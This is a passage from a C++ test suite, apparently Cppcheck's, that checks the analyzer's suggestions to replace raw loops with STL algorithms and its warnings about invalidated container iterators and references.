ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" 